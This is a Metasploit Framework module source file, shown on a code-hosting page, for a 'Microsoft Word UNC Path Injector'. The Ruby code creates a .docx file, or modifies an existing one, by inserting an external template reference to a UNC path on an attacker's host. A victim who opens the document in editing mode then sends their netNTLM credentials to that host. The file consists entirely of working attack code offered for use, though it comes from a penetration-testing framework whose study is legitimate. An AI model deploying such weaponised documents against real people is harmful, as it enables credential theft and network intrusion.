CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/docx/word_unc_injector.rb
Views: 11779
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
#
7
# Gems
8
#
9
10
# for extracting files
11
require 'zip'
12
13
#
14
# Project
15
#
16
17
# for creating files
18
require 'rex/zip'
19
20
class MetasploitModule < Msf::Auxiliary
21
include Msf::Exploit::FILEFORMAT
22
23
def initialize(info = {})
24
super(update_info(info,
25
'Name' => 'Microsoft Word UNC Path Injector',
26
'Description' => %q{
27
This module modifies a .docx file that will, upon opening, submit stored
28
netNTLM credentials to a remote host. It can also create an empty docx file. If
29
emailed the receiver needs to put the document in editing mode before the remote
30
server will be contacted. Preview and read-only mode do not work. Verified to work
31
with Microsoft Word 2003, 2007, 2010, and 2013. In order to get the hashes the
32
auxiliary/server/capture/smb module can be used.
33
},
34
'License' => MSF_LICENSE,
35
'References' =>
36
[
37
[ 'URL', 'https://web.archive.org/web/20140527232608/http://jedicorp.com/?p=534' ]
38
],
39
'Author' =>
40
[
41
'SphaZ <cyberphaz[at]gmail.com>'
42
]
43
))
44
45
register_options(
46
[
47
OptAddressLocal.new('LHOST',[true, 'Server IP or hostname that the .docx document points to.']),
48
OptPath.new('SOURCE', [false, 'Full path and filename of .docx file to use as source. If empty, creates new document.']),
49
OptString.new('FILENAME', [true, 'Document output filename.', 'msf.docx']),
50
OptString.new('DOCAUTHOR',[false,'Document author for empty document.']),
51
])
52
end
53
54
# here we create an empty .docx file with the UNC path. Only done when FILENAME is empty
55
def make_new_file
56
metadata_file_data = ""
57
metadata_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?><cp:coreProperties"
58
metadata_file_data << " xmlns:cp=\"http://schemas.openxmlformats.org/package/2006/metadata/core-properties\" "
59
metadata_file_data << "xmlns:dc=\"http://purl.org/dc/elements/1.1/\" xmlns:dcterms=\"http://purl.org/dc/terms/\" "
60
metadata_file_data << "xmlns:dcmitype=\"http://purl.org/dc/dcmitype/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\">"
61
metadata_file_data << "<dc:creator>#{datastore['DOCAUTHOR']}</dc:creator><cp:lastModifiedBy>#{datastore['DOCAUTHOR']}"
62
metadata_file_data << "</cp:lastModifiedBy><cp:revision>1</cp:revision><dcterms:created xsi:type=\"dcterms:W3CDTF\">"
63
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:created><dcterms:modified xsi:type=\"dcterms:W3CDTF\">"
64
metadata_file_data << "2013-01-08T14:14:00Z</dcterms:modified></cp:coreProperties>"
65
66
# where to find the skeleton files required for creating an empty document
67
data_dir = File.join(Msf::Config.data_directory, "exploits", "docx")
68
69
zip_data = {}
70
71
# add skeleton files
72
vprint_status("Adding skeleton files from #{data_dir}")
73
Dir["#{data_dir}/**/**"].each do |file|
74
if not File.directory?(file)
75
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
76
end
77
end
78
79
# add on-the-fly created documents
80
vprint_status("Adding injected files")
81
zip_data["docProps/core.xml"] = metadata_file_data
82
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
83
84
# add the otherwise skipped "hidden" file
85
file = "#{data_dir}/_rels/.rels"
86
zip_data[file.sub(data_dir,'')] = File.read(file, mode: 'rb')
87
# and lets create the file
88
zip_docx(zip_data)
89
end
90
91
# here we inject an UNC path into an existing file, and store the injected file in FILENAME
92
def manipulate_file
93
ref = "<w:attachedTemplate r:id=\"rId1\"/>"
94
95
if not File.stat(datastore['SOURCE']).readable?
96
print_error("Not enough rights to read the file. Aborting.")
97
return nil
98
end
99
100
# lets extract our docx and store it in memory
101
zip_data = unzip_docx
102
103
# file to check for reference file we need
104
file_content = zip_data["word/settings.xml"]
105
if file_content.nil?
106
print_error("Bad \"word/settings.xml\" file, check if it is a valid .docx.")
107
return nil
108
end
109
110
# if we can find the reference to our inject file, we don't need to add it and can just inject our unc path.
111
if not file_content.index("w:attachedTemplate r:id=\"rId1\"").nil?
112
vprint_status("Reference to rels file already exists in settings file, we dont need to add it :)")
113
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
114
# lets zip the end result
115
zip_docx(zip_data)
116
else
117
# now insert the reference to the file that will enable our malicious entry
118
insert_one = file_content.index("<w:defaultTabStop")
119
120
if insert_one.nil?
121
insert_two = file_content.index("<w:hyphenationZone") # 2nd choice
122
if not insert_two.nil?
123
vprint_status("HypenationZone found, we use this for insertion.")
124
file_content.insert(insert_two, ref )
125
end
126
else
127
vprint_status("DefaultTabStop found, we use this for insertion.")
128
file_content.insert(insert_one, ref )
129
end
130
131
if insert_one.nil? && insert_two.nil?
132
print_error("Cannot find insert point for reference into settings.xml")
133
return nil
134
end
135
136
# update the files that contain the injection and reference
137
zip_data["word/settings.xml"] = file_content
138
zip_data["word/_rels/settings.xml.rels"] = @rels_file_data
139
# lets zip the file
140
zip_docx(zip_data)
141
end
142
return 0
143
end
144
145
# making the actual docx from the hash
146
def zip_docx(zip_data)
147
docx = Rex::Zip::Archive.new
148
zip_data.each_pair do |k,v|
149
docx.add_file(k,v)
150
end
151
file_create(docx.pack)
152
end
153
154
# unzip the .docx document. sadly Rex::zip does not uncompress so we do it the Rubyzip way
155
def unzip_docx
156
# Ruby sometimes corrupts the document when manipulating inside a compressed document, so we extract it with Zip::File
157
vprint_status("Extracting #{datastore['SOURCE']} into memory.")
158
# we read it all into memory
159
zip_data = Hash.new
160
begin
161
Zip::File.open(datastore['SOURCE']) do |filezip|
162
filezip.each do |entry|
163
zip_data[entry.name] = filezip.read(entry)
164
end
165
end
166
rescue Zip::Error => e
167
print_error("Error extracting #{datastore['SOURCE']} please verify it is a valid .docx document.")
168
return nil
169
end
170
return zip_data
171
end
172
173
174
def run
175
# we need this in make_new_file and manipulate_file
176
@rels_file_data = ""
177
@rels_file_data << "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>".chomp
178
@rels_file_data << "<Relationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\">".chomp
179
@rels_file_data << "<Relationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/".chomp
180
@rels_file_data << "attachedTemplate\" Target=\"file://\\\\#{datastore['LHOST']}\\normal.dot\" TargetMode=\"External\"/></Relationships>"
181
182
if "#{datastore['SOURCE']}" == ""
183
# make an empty file
184
print_status("Creating empty document that points to #{datastore['LHOST']}.")
185
make_new_file
186
else
187
# extract the word/settings.xml and edit in the reference we need
188
print_status("Injecting UNC path into existing document.")
189
if manipulate_file.nil?
190
print_error("Failed to create a document from #{datastore['SOURCE']}.")
191
else
192
print_good("Copy of #{datastore['SOURCE']} called #{datastore['FILENAME']} points to #{datastore['LHOST']}.")
193
end
194
end
195
end
196
end
197
198